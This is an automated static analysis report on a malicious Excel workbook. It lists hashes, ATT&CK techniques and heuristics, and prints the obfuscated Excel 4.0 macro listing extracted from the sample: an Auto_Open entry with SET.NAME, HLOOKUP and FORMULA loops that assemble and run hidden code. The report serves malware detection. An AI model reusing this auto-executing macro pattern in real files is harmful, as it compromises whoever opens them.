Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b6416c2e54b2a1b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:31:12 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 031ffa50fc2af6142e83f5e0939b855e SHA-1: b284203f09a33382f7a56214ee5f1fb6e647d24d SHA-256: 4b6416c2e54b2a1b30c6ab1f259c99a9ab59034762460caa2545884478ff57e9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further suggests malicious intent. While no specific URLs or payloads were extracted, the macro's ability to execute arbitrary functions points to a downloader or exploit execution pattern.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6568 bytes
SHA-256: 976fdd90282657e60d9313f39e3641be118dea3d420e64f4c2c056ad156dd4d1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lozOiU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B123 
' 0018     22 LABEL : Cell Value, String Constant - BuxENZI len=0 
' 0018     25 LABEL : Cell Value, String Constant - DiKxBjGdUv len=0 
' 0018     23 LABEL : Cell Value, String Constant - FpJQLocp len=0 
' 0018     21 LABEL : Cell Value, String Constant - GEKWdN len=0 
' 0018     22 LABEL : Cell Value, String Constant - HIeNECn len=0 
' 0018     24 LABEL : Cell Value, String Constant - HXjaFvpzc len=0 
' 0018     22 LABEL : Cell Value, String Constant - HYNUtsJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - jVtwJhpWLMmu len=0 
' 0018     23 LABEL : Cell Value, String Constant - KgSoXZUG len=0 
' 0018     22 LABEL : Cell Value, String Constant - NkJlflL len=0 
' 0018     22 LABEL : Cell Value, String Constant - NrXAnvo len=0 
' 0018     27 LABEL : Cell Value, String Constant - OVJOYblVoAeb len=0 
' 0018     24 LABEL : Cell Value, String Constant - pKfMAwsgw len=0 
' 0018     22 LABEL : Cell Value, String Constant - rNIhBMV len=0 
' 0018     20 LABEL : Cell Value, String Constant - utZVV len=0 
' 0018     24 LABEL : Cell Value, String Constant - vskbbCWXk len=0 
' 0018     22 LABEL : Cell Value, String Constant - wOwUhrv len=0 
' 0018     22 LABEL : Cell Value, String Constant - XOMbaVb len=0 
' 0018     21 LABEL : Cell Value, String Constant - xYpklF len=0 
' 0018     26 LABEL : Cell Value, String Constant - ysJOsMOncMo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lozOiU,B42,"SET.NAME("OVJOYblVoAeb",VALUE("0"))",""
'  lozOiU,B45,"SET.NAME("utZVV",OVJOYblVoAeb)",""
'  lozOiU,B48,"SET.NAME("BuxENZI",OVJOYblVoAeb)",""
'  lozOiU,B51,"SET.NAME("pKfMAwsgw",COUNTA(FpJQLocp))",""
'  lozOiU,B53,"SET.NAME("DiKxBjGdUv",COUNTA(rNIhBMV))",""
'  lozOiU,B55,[],""
'  lozOiU,B60,"SET.NAME("jVtwJhpWLMmu","")",""
'  lozOiU,B62,"utZVV",""
'  lozOiU,B64,"SET.NAME("NrXAnvo",HLOOKUP("*",FpJQLocp,utZVV,FALSE))",""
'  lozOiU,B66,"xYpklF",""
'  lozOiU,B69,"SET.NAME("HXjaFvpzc",OVJOYblVoAeb)",""
'  lozOiU,B72,[],""
'  lozOiU,B74,"HXjaFvpzc",""
'  lozOiU,B79,"NkJlflL",""
'  lozOiU,B81,"HIeNECn",""
'  lozOiU,B85,"wOwUhrv",""
'  lozOiU,B90,"SET.NAME("GEKWdN",VALUE(HLOOKUP("*",rNIhBMV,wOwUhrv,FALSE)))",""
'  lozOiU,B93,"XOMbaVb",""
'  lozOiU,B95,"jVtwJhpWLMmu",""
'  lozOiU,B98,"BuxENZI",""
'  lozOiU,B102,NEXT(),""
'  lozOiU,B105,"KgSoXZUG",""
'  lozOiU,B110,"SET.NAME("f",INT(T(FORMULA(T(jVtwJhpWLMmu)&"",""&T(KgSoXZUG)))))",""
'  lozOiU,B112,"ysJOsMOncMo",""
'  lozOiU,B116,NEXT(),""
'  lozOiU,B120,RETURN(),""
'  lozOiU,B145,"SET.NAME("vskbbCWXk",B42)",""
'  lozOiU,B149,"FpJQLocp",""
'  lozOiU,B151,"SET.NAME("rNIhBMV",R94C11)",""
'  lozOiU,B153,"SET.NAME("ysJOsMOncMo",162)",""
'  lozOiU,B158,"SET.NAME("HYNUtsJ",2)",""
'  lozOiU,B161,vskbbCWXk(),""
'  lozOiU,B162,HALT(),""

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